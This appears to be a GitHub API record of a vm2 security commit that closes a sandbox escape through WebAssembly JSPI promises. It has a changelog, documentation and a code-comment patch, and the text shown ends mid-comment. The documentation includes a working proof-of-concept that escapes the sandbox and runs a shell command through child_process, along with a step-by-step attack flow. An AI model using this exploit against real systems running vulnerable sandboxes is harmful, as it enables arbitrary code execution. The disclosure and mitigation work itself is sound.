{"sha":"6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6","node_id":"C_kwDOAPKd99oAKDY5MTVmYTRkOWJjZWJkNDdiOWE0ZjM5YTFhZGMxYWE5NGVmNmZmYzY","commit":{"author":{"name":"Patrik Simek","email":"patrik@patriksimek.cz","date":"2026-05-17T13:53:12Z"},"committer":{"name":"Patrik Simek","email":"patrik@patriksimek.cz","date":"2026-05-17T13:53:12Z"},"message":"fix(GHSA-6j2x-vhqr-qr7q): remove WebAssembly JSPI surface from sandbox\n\n`WebAssembly.promising` and `WebAssembly.Suspending` (Node 24 behind\n`--experimental-wasm-jspi`, Node 26+ by default) return sandbox-visible\nPromise objects whose `[[Prototype]]` chain points directly at the host\nrealm's `Promise.prototype` with no bridge proxy in between. Sandbox\nproperty access on such a promise resolves `p.then`/`.catch`/`.finally`\nto host-realm native methods via the cross-realm prototype walk,\nbypassing:\n\n  - the sandbox-side `globalPromise.prototype.then|catch` overrides (the\n    JSPI promise's prototype is NOT `globalPromise.prototype`, so the\n    override is never reached),\n  - `resetPromiseSpecies` (only invoked from those overrides),\n  - the bridge `apply`-trap callback wrapping for host Promise methods\n    (which only fires for bridge-proxied host promises).\n\n`Object.defineProperty(p, 'constructor', { get(){ return F }})` installs\ndirectly on the raw JSPI promise. `p.finally(()=>{})` reaches host\n`Promise.prototype.finally`; V8's host-realm `SpeciesConstructor` reads\nF and `NewPromiseCapability(F)` stores F's raw sandbox closures as\n`[[Resolve]]`/`[[Reject]]` with no bridge mediation. The eventual\nhost-realm `TypeError` (from `WebAssembly.compileStreaming(Promise.resolve(0))`)\nis dispatched through F's reject closure raw, and\n`e.constructor.constructor('return process')()` evaluates in the host\nrealm because `Function.[[Realm]]` is host.\n\nStructural fix in `lib/setup-sandbox.js`: delete `WebAssembly.promising`\nand `WebAssembly.Suspending` from the sandbox at bootstrap, mirroring\nthe existing `WebAssembly.JSTag` removal pattern. Without `Suspending`,\na wasm module cannot import a JS function as a suspending import;\nwithout `promising`, sandbox cannot promote a wasm function into a JSPI\nexport. Removing either kills the attack class on its own; removing\nboth is belt-and-suspenders. The removal is `typeof`-guarded so the\nsame code path is a no-op on older Node versions where the constants\ndon't exist.\n\nThis articulates a previously-latent invariant — Defense Invariant #12:\nno sandbox-visible object may have a host-realm prototype chain without\nbridge interposition. Every sandbox-visible Promise must either include\n`globalPromise.prototype` in its `[[Prototype]]` chain (so sandbox-side\noverrides apply) or be a bridge proxy of a host-realm Promise (so the\nbridge `apply`-trap applies). JSPI is the first known instance of a\nthird class; future spec extensions producing similarly-shaped objects\nmust be checked against the same invariant and neutralised at sandbox\nbootstrap if needed.\n\nTest surface:\n  - `test/ghsa/GHSA-6j2x-vhqr-qr7q/repro.js` — JSPI surface presence\n    test, defense verification (constructors deleted), and full PoC\n    reproduction (Node 26+ where JSPI is default-on).\n\nDocs:\n  - `docs/ATTACKS.md` — Category 33 (WebAssembly JSPI Cross-Realm\n    Promise Prototype) with full Attack Flow, Canonical Example, Why It\n    Works, Mitigation, Detection Rules, and Considered Attack Surfaces;\n    Defense Invariant #12 articulated in the Defense Invariants\n    section; Compound Attack Pattern 25 added; \"How The Bridge Defends\"\n    table row for JSPI.\n\nRestores Defense Invariants #4 and #12.","tree":{"sha":"3f85c65ec6c7cd216a11d1ab874a22efaa9b304a","url":"https://api.github.com/repos/patriksimek/vm2/git/trees/3f85c65ec6c7cd216a11d1ab874a22efaa9b304a"},"url":"https://api.github.com/repos/patriksimek/vm2/git/commits/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null,"verified_at":null}},"url":"https://api.github.com/repos/patriksimek/vm2/commits/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6","html_url":"https://github.com/patriksimek/vm2/commit/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6","comments_url":"https://api.github.com/repos/patriksimek/vm2/commits/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6/comments","author":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"committer":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"parents":[{"sha":"01a7552add345d5a6862623884e6b79a85bf0568","url":"https://api.github.com/repos/patriksimek/vm2/commits/01a7552add345d5a6862623884e6b79a85bf0568","html_url":"https://github.com/patriksimek/vm2/commit/01a7552add345d5a6862623884e6b79a85bf0568"}],"stats":{"total":376,"additions":375,"deletions":1},"files":[{"sha":"97ba5017fcfb94a9a39f70787e2b415014165d42","filename":"CHANGELOG.md","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/patriksimek/vm2/blob/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6/CHANGELOG.md","raw_url":"https://github.com/patriksimek/vm2/raw/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6/CHANGELOG.md","contents_url":"https://api.github.com/repos/patriksimek/vm2/contents/CHANGELOG.md?ref=6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6","patch":"@@ -2,7 +2,7 @@\n \n ## [3.11.4]\n \n-Six advisories closed. Patch release — no API changes for valid configurations.\n+Seven advisories closed. Patch release — no API changes for valid configurations.\n \n ### Security fixes\n \n@@ -12,6 +12,7 @@ Six advisories closed. Patch release — no API changes for valid configurations\n - **GHSA-q3fm-4wcw-g57x** — Defense Invariant #11 hardening for `defaultSandboxPrepareStackTrace` (second variant of GHSA-9qj6-qjgg-37qq in a different file). The sandbox stack-trace formatter accumulated frames in a sandbox-realm array and `.join`-ed them, so a sandbox-installed setter on `Array.prototype[N]` (or `.join` override) observed bridge-internal state — no host reference reachable today, but one enrichment away from regressing into the GHSA-9qj6 RCE shape. Fixed in `lib/setup-sandbox.js` by folding frames through a primitive string accumulator (no `Array.prototype` slot reachable) and converting `makeCallSiteGetters` to `localReflectDefineProperty` for symmetry. See ATTACKS.md Category 28 Variant B and `test/ghsa/GHSA-q3fm-4wcw-g57x/`.\n - **GHSA-76w7-j9cq-rx2j** — Promise species hijack in the `localPromise` swallow tail. The swallow-tail `apply(globalPromisePrototypeThen, this, [...])` call inside `localPromise`'s constructor invoked the cached host `Promise.prototype.then` without first calling `resetPromiseSpecies(this)`, so a sandbox subclass overriding `[Symbol.species]` could redirect the downstream child constructor to a user function and capture V8's internal `(resolve, reject)` capability — delivering a raw host-realm error (RangeError from deep recursion + `e.stack`) to a sandbox collector and reaching the host `Function` constructor via `.constructor.constructor`. One-line fix in `lib/setup-sandbox.js` adds the missing `resetPromiseSpecies(this)` before the swallow-tail call, matching the pattern already used by the `.then`/`.catch`/`Reflect.apply` overrides. See ATTACKS.md Category 31 and `test/ghsa/GHSA-76w7-j9cq-rx2j/`.\n - **GHSA-m4wx-m65x-ghrr** — patch bypass of GHSA-8hg8-63c5-gwmx. The original check `options.require === false` only rejected the literal `require: false` shape; omitting `require` entirely left `options.require === undefined`, the check fell through, and the destructuring default `require: requireOpts = false` a few lines down produced the same `requireOpts = false` the original patch existed to block — inner NodeVM construction with attacker-chosen `require` config → `child_process` RCE. Structural fix in `lib/nodevm.js`: destructure first, then check `nesting === true && !requireOpts`, so every falsy/omitted shape collapses to the same construction-time `VMError`. The explicit-`require`-config escape hatch is preserved. Supersedes GHSA-8hg8-63c5-gwmx. See ATTACKS.md Category 25 and `test/ghsa/GHSA-m4wx-m65x-ghrr/`.\n+- **GHSA-6j2x-vhqr-qr7q** — sandbox escape via WebAssembly JSPI (Node 24 behind `--experimental-wasm-jspi`, Node 26+ default). `WebAssembly.promising` returns Promise objects whose `[[Prototype]]` chain points directly at the host realm's `Promise.prototype` with no bridge proxy in between, so `p.finally()` reaches host `Promise.prototype.finally`, V8's `SpeciesConstructor` reads an attacker-controlled `p.constructor` getter, and the eventual host-realm rejection is dispatched through the attacker's class with no bridge wrapping — `e.constructor.constructor('return process')()` then evaluates in the host realm. Structural fix in `lib/setup-sandbox.js`: delete `WebAssembly.promising` and `WebAssembly.Suspending` at sandbox bootstrap, mirroring the existing `WebAssembly.JSTag` removal. Adds Defense Invariant #12 (no sandbox-visible object may have a host-realm prototype chain without bridge interposition). See ATTACKS.md Category 33 and `test/ghsa/GHSA-6j2x-vhqr-qr7q/`.\n \n ### Upgrade notes\n "},{"sha":"169fa0ec45e42b34b8673dd16a369181703820e0","filename":"docs/ATTACKS.md","status":"modified","additions":110,"deletions":0,"changes":110,"blob_url":"https://github.com/patriksimek/vm2/blob/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6/docs%2FATTACKS.md","raw_url":"https://github.com/patriksimek/vm2/raw/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6/docs%2FATTACKS.md","contents_url":"https://api.github.com/repos/patriksimek/vm2/contents/docs%2FATTACKS.md?ref=6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6","patch":"@@ -70,6 +70,8 @@ These are the cross-cutting properties the sandbox must preserve. A fix that clo\n \n 11. **Bridge-internal containers must not invoke sandbox code.** Lists, maps, and saved-state records allocated for the bridge's exclusive use are reached from sandbox-realm closures whose intrinsics (`Array.prototype`, `Object.prototype`, `Map.prototype`) are attacker-reachable. Reads and writes on those containers must use prototype-bypassing primitives — `Reflect.defineProperty`, `Reflect.apply` over cached `WeakMap.prototype.{get,set}`, etc. — never operators (`obj[i] =`, `map.set`, `for...in`) that fall through to the sandbox prototype chain. Otherwise an attacker-installed setter/getter on `Array.prototype[N]` or `Object.prototype.<key>` can capture or mutate the bridge's raw saved state.\n \n+12. **No sandbox-visible object has a host-realm prototype chain without bridge interposition.** Every Promise (and, by extension, every spec-defined async dispatch target) reachable from sandbox code is either (a) sandbox-realm with `globalPromise.prototype` in its `[[Prototype]]` chain — so the sandbox-side `.then`/`.catch` overrides apply — or (b) a bridge proxy of a host-realm Promise — so the bridge `apply`-trap interception applies. A third shape (sandbox-realm allocation with a host-realm prototype, with no proxy in between) bypasses both layers: `p.then`/`.catch`/`.finally` lookup walks across realms to host native methods directly, `Object.defineProperty(p, 'constructor', ...)` writes onto the raw object, and V8's host-realm `SpeciesConstructor` dispatches the rejection through attacker-controlled species without ever invoking a sandbox-visible chokepoint. Any V8/Node primitive that produces such an object — WebAssembly JSPI is the first known one — must be neutralized at sandbox bootstrap. See [Category 33](#attack-category-33-webassembly-jspi-cross-realm-promise-prototype).\n+\n The [Security Checklist for Bridge Changes](#security-checklist-for-bridge-changes) at the end of this document gives the verification questions for each invariant.\n \n ---\n@@ -2653,6 +2655,112 @@ The fix is symmetric with `ReadOnlyHandler.set` (which uses the same install-on-\n \n ---\n \n+## Attack Category 33: WebAssembly JSPI Cross-Realm Promise Prototype\n+\n+**Uses**: [Category 3: Symbol-Based Attacks](#attack-category-3-symbol-based-attacks), [Category 7: Promise and Async Exploitation](#attack-category-7-promise-and-async-exploitation), [Category 17: WebAssembly JSTag Exception Catch](#attack-category-17-webassembly-jstag-exception-catch).\n+\n+### Description\n+\n+The WebAssembly JavaScript Promise Integration (JSPI) API — `WebAssembly.promising` and `WebAssembly.Suspending`, available behind `--experimental-wasm-jspi` on Node 24 and enabled by default on Node 26+ — returns Promise objects whose `[[Prototype]]` chain points **directly at the host realm's `Promise.prototype`** without going through any bridge proxy.\n+\n+This is a categorically new shape of sandbox-visible object. Until JSPI, every Promise reachable from sandbox code was either:\n+\n+1. A sandbox-realm Promise whose `[[Prototype]]` includes `globalPromise.prototype` (so the vm2 overrides on `then`/`catch` apply), or\n+2. A bridge proxy of a host-realm Promise (so the bridge `apply`-trap interception applies).\n+\n+JSPI breaks this dichotomy by producing a third class — sandbox-realm allocation, host-realm prototype, no bridge proxy. Neither defense layer can intercept it: sandbox property access on a JSPI promise walks the cross-realm prototype chain and resolves directly to host-realm native `Promise.prototype.{then,catch,finally}`. The sandbox-side `globalPromise.prototype.then|catch` overrides are never reached (different prototype object). `resetPromiseSpecies` is only invoked from those overrides, so it never runs. The bridge `apply` trap only fires for bridge-proxied callables, which JSPI promises are not.\n+\n+CWE-913 (Improper Control of Dynamically-Managed Code Resources).\n+\n+### Attack Flow\n+\n+1. **Build a wasm module** that imports a Suspending function `f` and exports a `run` that calls `f`. The PoC's 60-byte module body is `(module (func (import \"m\" \"f\") (param) (result)) (func (export \"run\") (call 0)))`.\n+2. **Suspending throw setup**: `new WebAssembly.Suspending(() => WebAssembly.compileStreaming(Promise.resolve(0)))`. `compileStreaming` expects a `Response` or `Promise<Response>`; given the number `0`, it eventually rejects with a host-realm `TypeError` from `node:internal/wasm_web_api`.\n+3. **JSPI promotion**: `const p = WebAssembly.promising(instance.exports.run)()`. The returned `p` is sandbox-realm by allocation but its `[[Prototype]]` is the host realm's `Promise.prototype` — confirmed by `Object.getPrototypeOf(p) === Promise.prototype` returning `false` and `Object.getPrototypeOf(Object.getPrototypeOf(p)) === Object.prototype` returning `true` (no sandbox `Promise.prototype` link in the chain at all).\n+4. **Species installation directly on `p`**: `Object.defineProperty(p, 'constructor', { get(){ return F; }})`. Because `p` is not a bridge proxy, the `defineProperty` call hits the raw object — the getter is installed on `p` itself, visible to V8's host-realm SpeciesConstructor lookup.\n+5. **`.finally` triggers the host species path**: `p.finally(() => {})`. Property access walks `p → hostPromisePrototype`, finds host `Promise.prototype.finally`, and calls it (no apply-trap interception since the method was reached via prototype walk, not via a proxy). Host's `finally` per spec runs `SpeciesConstructor(p, %Promise%)` → reads `p.constructor` → invokes attacker getter → returns `F` (sandbox class).\n+6. **Result capability bypass**: `NewPromiseCapability(F)` constructs an `F` instance with V8's builtin executor. `F`'s constructor calls `x(resolveCb, rejectCb)` with raw sandbox closures. There is no bridge between the host-realm executor and the sandbox closures — the executor is a direct host function reference held by sandbox code without proxying — so V8 stores the raw sandbox closures as `capability.[[Resolve]]` and `capability.[[Reject]]`.\n+7. **Rejection dispatch raw**: when the JSPI promise rejects with the host `TypeError` from step 2, V8's PromiseReactionJob calls `capability.[[Reject]](hostTypeError)` directly. The sandbox closure receives the **raw host-realm `TypeError`** with no bridge wrapping.\n+8. **Escape**: inside `F`'s reject closure, `e.constructor` is host `TypeError`; `.constructor` is host `Function`; `'return process'` constructs a function whose `[[Realm]]` is host, so invoking it evaluates `process` in the host realm and returns the host `process` object. `process.mainModule.require('child_process').execSync(...)` → RCE.\n+\n+### Canonical Example\n+\n+```javascript\n+// (advisory GHSA-6j2x-vhqr-qr7q). Environment: node:26-bookworm (JSPI default-on).\n+const { VM } = require(\"vm2\");\n+new VM().run(`\n+  let b = Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,\n+    0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);\n+  WebAssembly.instantiate(b, {\n+    m: { f: new WebAssembly.Suspending(() =>\n+      WebAssembly.compileStreaming(Promise.resolve(0))) }\n+  }).then(r => {\n+    let p = WebAssembly.promising(r.instance.exports.run)();\n+    class F {\n+      constructor(x) {\n+        this.s = 0; this.q = [];\n+        x(v => { this.s = 1; this.v = v;\n+                 for (let i of this.q) if (i[0]) i[0](v); },\n+          e => {\n+            let P = e.constructor.constructor('return process')();\n+            P.mainModule.require('child_process').execSync('touch pwned');\n+            this.s = 2; this.v = e;\n+            for (let i of this.q) if (i[1]) i[1](e);\n+          });\n+      }\n+      then(f, r) {\n+        if (this.s == 1) return f ? f(this.v) : this.v;\n+        if (this.s == 2) { if (r) return r(this.v); throw this.v; }\n+        this.q.push([f, r]); return 0;\n+      }\n+    }\n+    Object.defineProperty(F, Symbol.species, { get(){ return F; }});\n+    Object.defineProperty(p, 'constructor', { configurable: true, get(){ return F; }});\n+    p.finally(() => {});\n+  });\n+`);\n+```\n+\n+### Why It Works\n+\n+The structural defects compound:\n+\n+- **Cross-realm prototype is a new attack shape.** All prior Promise hardening assumes one of two regimes — sandbox-realm with our overrides, or bridge-proxied host realm. JSPI invented a third: sandbox-realm allocation, host-realm prototype, no proxy. Every existing defense was scoped to one of the two known regimes.\n+- **No proxy = no apply-trap interception.** The bridge `apply` trap on host `Promise.prototype.{then,catch,finally}` (installed by GHSA-55hx-c926-fr95) wraps sandbox callbacks with sanitizers before invoking the host method. JSPI promises bypass it because property lookup walks a raw prototype chain to host methods directly — there is no proxy, no apply trap, no sanitizer wrapping.\n+- **No `globalPromise.prototype` link = no `resetPromiseSpecies`.** The sandbox-side `globalPromise.prototype.then|catch` overrides are the chokepoint where `resetPromiseSpecies(this)` runs. The JSPI promise's prototype chain never traverses `globalPromise.prototype`, so the override is never reached.\n+- **`PerformPromiseThen` is C++ anyway.** Even if `.then` had been overridden, host `Promise.prototype.finally` calls `PerformPromiseThen` directly via the spec's internal abstract operations, bypassing user-visible `.then` dispatch.\n+- **F's executor receives raw host references.** Because everything from the species lookup onward happens inside host's `finally` implementation reading the attacker getter installed on the raw JSPI promise, the entire flow stays \"host code holding sandbox class F\" without any bridge mediation. F's resolve/reject closures get registered as capability functions directly, then invoked directly with raw host rejection reasons.\n+\n+### Mitigation\n+\n+Delete `WebAssembly.promising` and `WebAssembly.Suspending` from the sandbox at bootstrap in `lib/setup-sandbox.js`, mirroring the existing `WebAssembly.JSTag` removal ([Category 17](#attack-category-17-webassembly-jstag-exception-catch)). Without `Suspending`, a wasm module cannot import a JS function as a suspending import; without `promising`, sandbox cannot promote a wasm function into a JSPI export. JSPI is the only known primitive that produces a sandbox-visible Promise whose prototype crosses realms without bridge interposition, and both constructors are required to use it — removing either kills the attack class on its own; removing both is belt-and-suspenders.\n+\n+The removal is guarded by `typeof` checks so the same code path is a no-op on Node ≤ 23 (no JSPI constants exist) and on Node 24/25 without the `--experimental-wasm-jspi` flag (constants exist on the global but not on the sandbox-context `WebAssembly`).\n+\n+This fix restores [Defense Invariant #4](#defense-invariants) (V8 internal algorithms cannot read attacker-controlled `constructor` on host objects) for sandbox-visible Promises — by eliminating the only known path that produces sandbox-visible Promises outside the two regimes the invariant was originally formulated for. It also expresses a stronger invariant that has been latent in the codebase, [Defense Invariant #12](#defense-invariants): every sandbox-visible Promise must either include `globalPromise.prototype` in its `[[Prototype]]` chain (so sandbox-side overrides apply) or be a bridge proxy of a host-realm Promise (so the bridge `apply`-trap applies); any third class must be neutralised at sandbox bootstrap.\n+\n+JSPI is the first known instance of this third class; future spec extensions that produce similarly-shaped objects (a hypothetical structured-clone Promise, `WebAssembly`-future, embedder host functions returning cross-realm-prototype objects) must be checked against the same invariant.\n+\n+**Supersedes**: None directly. Strengthens the surrounding family of Promise species fixes ([Category 7](#attack-category-7-promise-and-async-exploitation)) by closing the cross-realm-prototype variant that the prior `resetPromiseSpecies` + apply-trap-wrapping design could not reach.\n+\n+### Detection Rules\n+\n+- **`typeof WebAssembly.promising`** or **`typeof WebAssembly.Suspending`** evaluated inside the sandbox returning anything other than `'undefined'` — the bootstrap removal failed and the attack surface is open.\n+- **`new WebAssembly.Suspending(...)`** in sandbox code — direct attempt to construct a Suspending function. After the fix this throws `TypeError: WebAssembly.Suspending is not a constructor`.\n+- **`WebAssembly.promising(...)`** in sandbox code — direct attempt to promote a wasm function into JSPI. After the fix this throws `TypeError: WebAssembly.promising is not a function`.\n+- **Wasm modules that import a function with `Suspending`-binding semantics** — the import name pattern isn't directly observable from JS, but the module must be paired with `new WebAssembly.Suspending(...)` at instantiation. Removing the Suspending constructor blocks the pairing.\n+- **`Object.defineProperty(p, 'constructor', ...)` on a Promise whose prototype is not `globalPromise.prototype` or a bridge proxy** — heuristic that flags any future cross-realm-prototype Promise shape. Currently no such object reaches sandbox code; this rule is a tripwire for future regressions.\n+\n+### Considered Attack Surfaces\n+\n+- **Other WebAssembly features.** An audit pass against `WebAssembly.Module`, `Instance`, `Memory`, `Table`, `Global`, `Exception`, `Tag`, `Function`, the `compile`/`compileStreaming`/`instantiate`/`instantiateStreaming` family, `validate`, and the various error classes confirmed that none of them return sandbox-visible objects with cross-realm prototypes outside the JSTag/JSPI cases already covered. WebAssembly instance and module objects are bridge-proxied through the normal `thisEnsureThis` path; their prototypes eventually reach `Object.prototype`, which is in `protoMappings` and gets wrapped via `defaultFactory`. Confirmed empirically.\n+- **SharedArrayBuffer / Atomics / WeakRef / FinalizationRegistry.** Instances proxied via the `Object.prototype` mapping fallback. Atomics returns only primitives or already-proxied objects. WeakRef and FinalizationRegistry callbacks are sandbox closures that don't return host objects.\n+- **`ShadowRealm`.** Not exposed in current Node releases (`typeof ShadowRealm === 'undefined'`). If exposed in a future Node, would need its own bootstrap treatment.\n+- **`structuredClone` / `MessagePort`.** `structuredClone` is not on the sandbox global by default. `MessagePort` is not exposed.\n+- **Embedder-exposed host functions returning host Promises.** Bridge-proxied as before — falls under regime (b) of the invariant and is covered by GHSA-55hx-c926-fr95 apply-trap callback sanitization.\n+\n+---\n+\n ## Considered Attack Surfaces\n \n These attack surfaces were analyzed and found to be safe or low-risk. They are documented here so future reviewers do not re-investigate them.\n@@ -2740,6 +2848,7 @@ The most dangerous attacks combine multiple categories. Each pattern references\n 22. **Async Generator yield*-Return Thenable + Stack-Overflow Realm Skew** [Categories 4, 7, 29] (NOW FIXED): Use `yield*` to a no-`return` inner async iterator, then `.return(thenable)` where the thenable's `.then` synchronously throws via deep recursion. V8's `PromiseResolveThenableJob` captures the throw and the yield* continuation surfaces it as `{ value, done: false }` — bypassing both the transformer's user-`catch` instrumentation and the `globalPromise.prototype.then` rejection sanitiser. Binary-search the recursion depth where the overflow originates inside V8's host C++ code so the `RangeError` is host-realm, then `e.constructor.constructor(\"return process\")()`. Closed by wrapping `%AsyncGeneratorPrototype%.next/.return/.throw` to route iterator-result `.value` and rejections through `handleException`, plus replacing every thenable arg with a sandbox-realm wrapper whose `.then` is a fixed `safeThen` and always-shadowing the non-function branch so V8's re-read of `.then` cannot observe attacker-controlled values.\n 23. **Host Prototype Mutation via Apply-Trap Indirection + WebAssembly Rejection** [Categories 2, 4, 7, 30] (NOW FIXED): Resolve host `Object.prototype.__proto__` setter via `Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\")` (the `connect()`-aliased sandbox `__lookupSetter__` walks back to host). Trigger a host-realm `TypeError` (e.g., `await WebAssembly.compileStreaming()`). Inside `catch(e)`, call `setProto.call(getProto.call(e), null)` — the apply trap unwraps `context` and forwards to the host setter, severing host `TypeError.prototype.[[Prototype]]` without any write trap firing. The next host `TypeError` from `await WebAssembly.compileStreaming()` walks back into sandbox code through V8 async internals; the bridge's proto-walk no longer finds the registered mapping at the right level and the value falls through unwrapped. `e.constructor.constructor` is then host `Function`. Closed structurally by (A) caching host prototype-mutating intrinsics (`Object.prototype.__proto__` setter, `Object.setPrototypeOf`, `Reflect.setPrototypeOf`, `Object.{defineProperty,defineProperties}`, `Reflect.defineProperty`, `Object.prototype.__define{Getter,Setter}__`) and refusing them in the apply trap with one layer of indirection peel for `Function.prototype.{call,apply,bind}` and `Reflect.{apply,construct}`; (B) cache-check on `mappingOtherToThis` before the proto-walk in `thisEnsureThis` so any previously-bridged host value returns the existing proxy even with a tampered proto chain.\n 24. **Promise Species Hijack + Stack-Overflow Realm Skew** [Categories 4, 7, 18, 29, 31] (NOW FIXED): `class FakePromise extends Promise { static get [Symbol.species]() { return ct } }` reroutes the swallow-tail child constructor inside `localPromise` to a sandbox-controlled `ct`. `ct` rebinds V8's internal `(resolve, reject)` capability to a sandbox collector; trigger a host-realm `RangeError` via `e.stack` after deep recursion (binary-searched depth) inside the downstream chain; V8's `PromiseResolveThenableJob` delivers the raw host Error to the collector — `ex.constructor.constructor(\"return process\")()` then yields RCE. Closed by adding `resetPromiseSpecies(this)` immediately before the swallow-tail `apply(globalPromisePrototypeThen, this, ...)` call so the species protocol always resolves to `localPromise` regardless of the user's subclass `Symbol.species` override.\n+25. **WebAssembly JSPI Cross-Realm Promise + Species Hijack** [Categories 3, 7, 33] (NOW FIXED): JSPI returns a sandbox-realm Promise with host-realm `Promise.prototype` in its `[[Prototype]]` chain — bypassing both the sandbox-side `.then`/`.catch` overrides and the bridge `apply`-trap callback wrapping. Install `Object.defineProperty(p, 'constructor', {get(){return F}})` directly on the raw object; `p.finally(()=>{})` calls host `Promise.prototype.finally`, whose internal SpeciesConstructor reads F and dispatches the eventual host-realm rejection (host `TypeError` from `WebAssembly.compileStreaming(Promise.resolve(0))`) through F's reject closure with **no bridge wrapping**. `e.constructor.constructor(\"return process\")()` evaluates in host realm because `Function.[[Realm]]` is host → RCE. Closed by deleting `WebAssembly.promising` and `WebAssembly.Suspending` at sandbox bootstrap, mirroring the `WebAssembly.JSTag` removal.\n \n ### How The Bridge Defends\n \n@@ -2770,6 +2879,7 @@ The most dangerous attacks combine multiple categories. Each pattern references\n | Property descriptor extraction | `containsDangerousConstructor` + `preventUnwrap` blocks unwrapping |\n | SuppressedError | `handleException` detects and recursively sanitizes `.error`/`.suppressed` |\n | WebAssembly JSTag | `WebAssembly.JSTag` deleted from sandbox |\n+| WebAssembly JSPI cross-realm Promise | `WebAssembly.promising` and `WebAssembly.Suspending` deleted from sandbox; JSPI promises (sandbox allocation with host-realm `Promise.prototype` and no bridge proxy) cannot be produced, so the species channel on a cross-realm-prototype Promise is structurally unreachable |\n | Array species self-return | set/defineProperty traps + neutralizeArraySpecies + SPECIES_ATTACK_SENTINEL |\n | Host prepareStackTrace fallback | Safe default always set; setter resets to safe default instead of `undefined` |\n | NodeVM `require.root` symlink bypass | `isPathAllowed` realpaths candidate before prefix check; `rootPaths` canonicalized at construction; deny-by-default if realpath throws |"},{"sha":"36e7658bef55491a426b8d36636cd673f9d77986","filename":"lib/setup-sandbox.js","status":"modified","additions":51,"deletions":0,"changes":51,"blob_url":"https://github.com/patriksimek/vm2/blob/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6/lib%2Fsetup-sandbox.js","raw_url":"https://github.com/patriksimek/vm2/raw/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6/lib%2Fsetup-sandbox.js","contents_url":"https://api.github.com/repos/patriksimek/vm2/contents/lib%2Fsetup-sandbox.js?ref=6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6","patch":"@@ -473,6 +473,57 @@ if (typeof WebAssembly !== 'undefined' && WebAssembly.JSTag !== undefined) {\n \tlocalReflectDeleteProperty(WebAssembly, 'JSTag');\n }\n \n+/*\n+ * WebAssembly JSPI protection (GHSA-6j2x-vhqr-qr7q)\n+ *\n+ * The WebAssembly JavaScript Promise Integration (JSPI) API — `WebAssembly.promising`\n+ * and `WebAssembly.Suspending` (Node 24+ behind --experimental-wasm-jspi, Node 26+\n+ * by default) — produces Promise objects whose prototype chain points DIRECTLY at\n+ * the host realm's `Promise.prototype` without going through any bridge proxy.\n+ * Sandbox property access on a JSPI promise (e.g. `p.then`, `p.finally`) walks the\n+ * cross-realm prototype chain and resolves to host-realm native methods, completely\n+ * bypassing:\n+ *   - the sandbox-side `globalPromise.prototype.then|catch` overrides (different\n+ *     prototype object, so the overrides are never reached),\n+ *   - `resetPromiseSpecies` (only called from those overrides),\n+ *   - the bridge `apply`-trap callback wrapping for host Promise methods (only\n+ *     fires for *bridge-proxied* host promises; JSPI promises aren't proxied).\n+ *\n+ * Consequences:\n+ *   1. An attacker can install `Object.defineProperty(p, 'constructor', { get(){return F}})`\n+ *      directly on the JSPI promise (no proxy intercepts it).\n+ *   2. Host's `Promise.prototype.finally` reads `p.constructor` for SpeciesConstructor,\n+ *      gets the attacker's F (sandbox class), builds a result capability whose\n+ *      `[[Resolve]]` / `[[Reject]]` are the *raw* sandbox closures F supplied in its\n+ *      executor — with no bridge wrapping.\n+ *   3. When the JSPI promise rejects (e.g. with a host-realm TypeError thrown by\n+ *      `WebAssembly.compileStreaming` on a non-Response input), V8 dispatches the\n+ *      rejection through F's reject closure, delivering the raw host error into\n+ *      sandbox code. `e.constructor.constructor('return process')()` then evaluates\n+ *      in the host realm because `Function.[[Realm]]` is host.\n+ *\n+ * Fix: remove `WebAssembly.promising` and `WebAssembly.Suspending` from the sandbox.\n+ * Without `Suspending`, wasm modules cannot import a JS function as a suspending\n+ * import; without `promising`, sandbox cannot promote a wasm function into a JSPI\n+ * export. JSPI is the only known path that produces a sandbox-visible Promise whose\n+ * prototype crosses realms without bridge interposition — mirrors the existing\n+ * 